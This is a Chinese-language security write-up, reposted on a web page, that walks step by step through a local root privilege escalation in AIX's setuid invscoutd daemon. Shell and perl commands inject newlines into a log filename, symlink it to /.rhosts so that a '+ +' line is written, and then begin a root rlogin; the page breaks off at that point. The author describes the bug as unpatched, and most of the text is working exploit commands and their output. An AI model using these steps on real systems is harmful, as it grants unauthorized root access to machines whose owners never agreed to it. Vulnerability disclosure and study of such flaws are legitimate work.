| AIX捉虫记之__invscoutd |
|
|
|
作者:佚名 文章来源:不详 点击数: 更新时间:2006-12-6 1:36:40  |
AIX捉虫记之__invscoutd AIX捉虫记之__invscoutd 创建时间:2004-06-04 更新时间:2004-06-04 文章属性:原创 文章提交:watercloud (watercloud_at_xfocus.org) AIX捉虫记 之invscoutd
本文是考查AIX安全性时的一小段笔记(其实就是屏幕copy), 整理了一下加了点注释,和有兴趣的朋友分享 :) [ 文中涉及到我发现的一个AIX4.x & 5L上的漏洞,可以使普通用户获得root权限,现在IBM好像还没有补丁,望大家善用之 ]
时间:2003-5-3日 天气:晴,万里无云的天空飘着几朵小小的白云 今天心情很好,前两天捉AIX的安全BUG很有收获,栈堆溢出、堆溢出、格式串、PATH欺骗执行命令 等都有了,今天继续…… 平台信息: -bash-2.05b$ oslevel 5.1.0.0 -bash-2.05b$ oslevel -r 5100-01
按八字排列今天应该考查invscoutd命令了 -bash-2.05b$ ls -l /usr/sbin/invscoutd -r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd | +------考查理由? 需要么?谁叫他带了这个s位!
首先了解一下这个命令是哪个道上混的~ -bash-2.05b$man invscoutd ………… The invscoutd command implements a permanent Inventory Scout server daemon on one machine in a user's local network. The usual client is a Java applet running in the user's Web browser, which was downloaded from a central Inventory Scout CGI application. ………… 赖着性子看完,瞌睡ing ... 再来看看这个命令的长相: -bash-2.05b$ invscoutd invscoutd: Missing log file name. Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@ USAGE: invscoutd [options] logfile <-- 还写日志文件的说。 logfile Append status and err msgs. '-' means write to stderr. -o Overwrite preexisting log file instead of append. <-- 还可以覆盖已有文件的说~ -pN Change port number to N from default 808. <-- 默认监听在808端口 -bN Change read buffer size to N from default 1024. -dN Change max logic db file size to N from default 50000. -tN Change timeout period to N seconds from default 30 seconds. -vN Change verbosity level to N from default 18, <--支持交互级别,级别越高记录信息应该越详细 25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none. 依稀记得以前Unix上有不少漏洞和日志文件权限处理不正确有关, 就先考查一下他的这个日志文件吧 ~~~
-bash-2.05b$ ls -l /tmp/bb ls: 0653-341 The file /tmp/bb does not exist. -bash-2.05b$ invscoutd /tmp/bb Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb -bash-2.05b$ ls -l /tmp/bb -rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb 哇噻~~,权限果然有问题!!日志文件是root所有的说!! 睡意全无,立刻就清醒了!
有点不敢相信自己的眼睛,漏洞有这么好找吗??!!赶紧敲个id确认一下,不会是自己本来就是root登陆的 -bash-2.05b$ id uid=203(cloud) gid=1(staff) 看来没错,是个漏洞,那我能利用这个漏洞做什么呢?? 想想…… 至少可以把系统重要配置文件破坏掉吧,哈哈…… 再想想对于不存在的重要文件如/.rhosts文件(其实暂时也就想到这么一个文件), 我们可以用这个漏洞创建这个文件,要是之前执行一次 umask 000 创建的文件我们就有修改权限了 ^_^ 这样我们就可以任意改写文件内容了,如:/.rhosts中加一行 + + 可惜r系列服务使用.rhosts时会对文件属性进行检查: 如果文件不属于对应用户,或文件权限 除所有者外其他用户或同组用户有写权限均验证失败! 看来通过创建一个我们可写的/.rhosts文件来获得root权限是行不通了~~ 我们覆盖重要文件如/etc/passwd,并不能改变文件权限~~ 回头再一琢磨,我们不就是要想控制写入文件的内容吗?不能通过直接获得文件写权限自由写内容, 那就间接点,要是日志文件写入内容我们可以控制那不也能通过修改 /.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件 把自己变为root了吗?
赶紧来看看日志文件里写了什么内容: -bash-2.05b$ cat /tmp/bb 2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17028 flog=/tmp/bb 里面好像就flog=/tmp/bb和输入有关。 再试试,看这个问题能不能重现. -bash-2.05b$ invscoutd ./aa Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Exit code 2, pid 536968056. 看来还得先杀掉老的进程才能再试。 -bash-2.05b$ ps -ef |grep invs cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs -bash-2.05b$ kill -9 15526 看看刚才出错记录到log文件了没? -bash-2.05b$ ls -l ./aa ls: 0653-341 The file ./aa does not exist. 没有的说。
我再试试,我非要重现一次才放心. -bash-2.05b$ invscoutd ./aa Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=15526 flog=./aa -bash-2.05b$ ls -l ./aa ls: 0653-341 The file ./aa does not exist. 咦,为什么没有记进来?难道文件名还必须以/打头?,先不管了,就写到/tmp下吧,再试试。 这次学乖了,先杀掉进程。 -bash-2.05b$ ps -ef |grep invsc cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa -bash-2.05b$ kill -9 17028 ………… 经测试,果然能重现,放心了~~
想了想,要通过改写.rhosts ,passwd,crotable突破系统权限取得root特权, 都必须要能完整的控制一行写入文件的内容,日志中能控制的是: flog=输入文件名 部分,那面文件名中带换行符就可以控制一行的内容了,如: aaaa\n完整的一行\naaaa这种形似的文件名。 想了就做.
但命令行上一时想不起来如何输入\n字符并把它作为命令行的一个参数, 刚好以前学的perl派上了用场 ^_* 用perl来执行一个系统命令invscoutd "/tmp/bbbbb\n+ +\nddd", 看看能不能产生一个单独的一行记录内容 + + -bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";' Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb + + ddd -bash-2.05b$ cat /tmp/bbbbb* 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use.. 2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072. 2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=16282 flog=/tmp/bbbbb + + ddd 嘿嘿,可以的说!! -bash-2.05b$ ls -l /tmp/bbbbb* -rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb + + ddd 那我们如何写"\n+ +\n"内容到/.rhosts呢?
想想…… 再想想…… 呵呵,我想到了,你想到了吗? 再给你5分钟,好好想想~~
如果直接执行invscoutd /.rhosts 肯定不行,里面不会有我们期望的 + + 行。 如果我们执行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";' 向log文件写入 + + 成功, 但写入的文件是"/tmp/bbbbb\n+ +\nddd",而我们现在期望是写到/.rhosts文件, 再想想………… 归纳一下,问题核心是想把A文件名写入B文件中, Unix下的符号链接好像就是这个桥梁耶~ 我们建立一个A -> B的符号连接不就行了! ln -s B A 然后 invscoutd A 应该就成了。
开始行动: -bash-2.05b$ ls -l /.rhosts ls: 0653-341 The file /.rhosts does not exist. 建立A -> B的符号链接: -bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";' 这里B是"/.rhosts" A是"/tmp/cc\n+ +\ndd" -bash-2.05b$ ls -l /tmp/cc* lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc + + dd -> /.rhosts 来,执行之 -bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";' Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Exit code 2, pid 536968072. -bash-2.05b$ ps -ef |grep invsc cloud 16282 1 0 03:59:27 - 0:00 invscoutd /tmp/bbbbb?+ +?ddd cloud 17146 15338 1 04:03:40 pts/0 0:00 grep invsc -bash-2.05b$ kill -9 16282 -bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";' Inventory Scout Version 1.3.0.0 Logic Database Version 1.3.0.0 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17150 flog=/tmp/cc + + dd 看看文件生成了没有: -bash-2.05b$ ls -l /.rhosts -rw-r--r-- 1 root staff 598 May 03 04:03 /.rhosts ok,来继续看看内容: -bash-2.05b$ cat /.rhosts 2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use.. 2003/05/03 04:03:33 G17144:invscoutd_2.0.2 Exit code 2, pid 536968072. 2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0 2003/05/03 04:03:48 G14270:invscoutd_2.0.2 Logic Database Version 1.3.0.0 2003/05/03 04:03:48 P17150:invscoutd_2.0.2 Start invscoutd 2.0.2: p=808 u=0 v=18 t=30 d=50000 pid=17150 flog=/tmp/cc + + dd
呵呵+ +写进去了!!! 来,用root用户 rlogin localhost登陆系统,这样就能取得root权限了: -bash-2.05b$ rlogin -l root localhost usage: rlo[1] [2] 下一页
|
| 文章录入:wuyongjian 责任编辑:wuyongjian |
|
上一篇文章: Apache mod_ssl 下一篇文章: PHP COM组件调用绕过安全模式执行任意文件漏洞 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |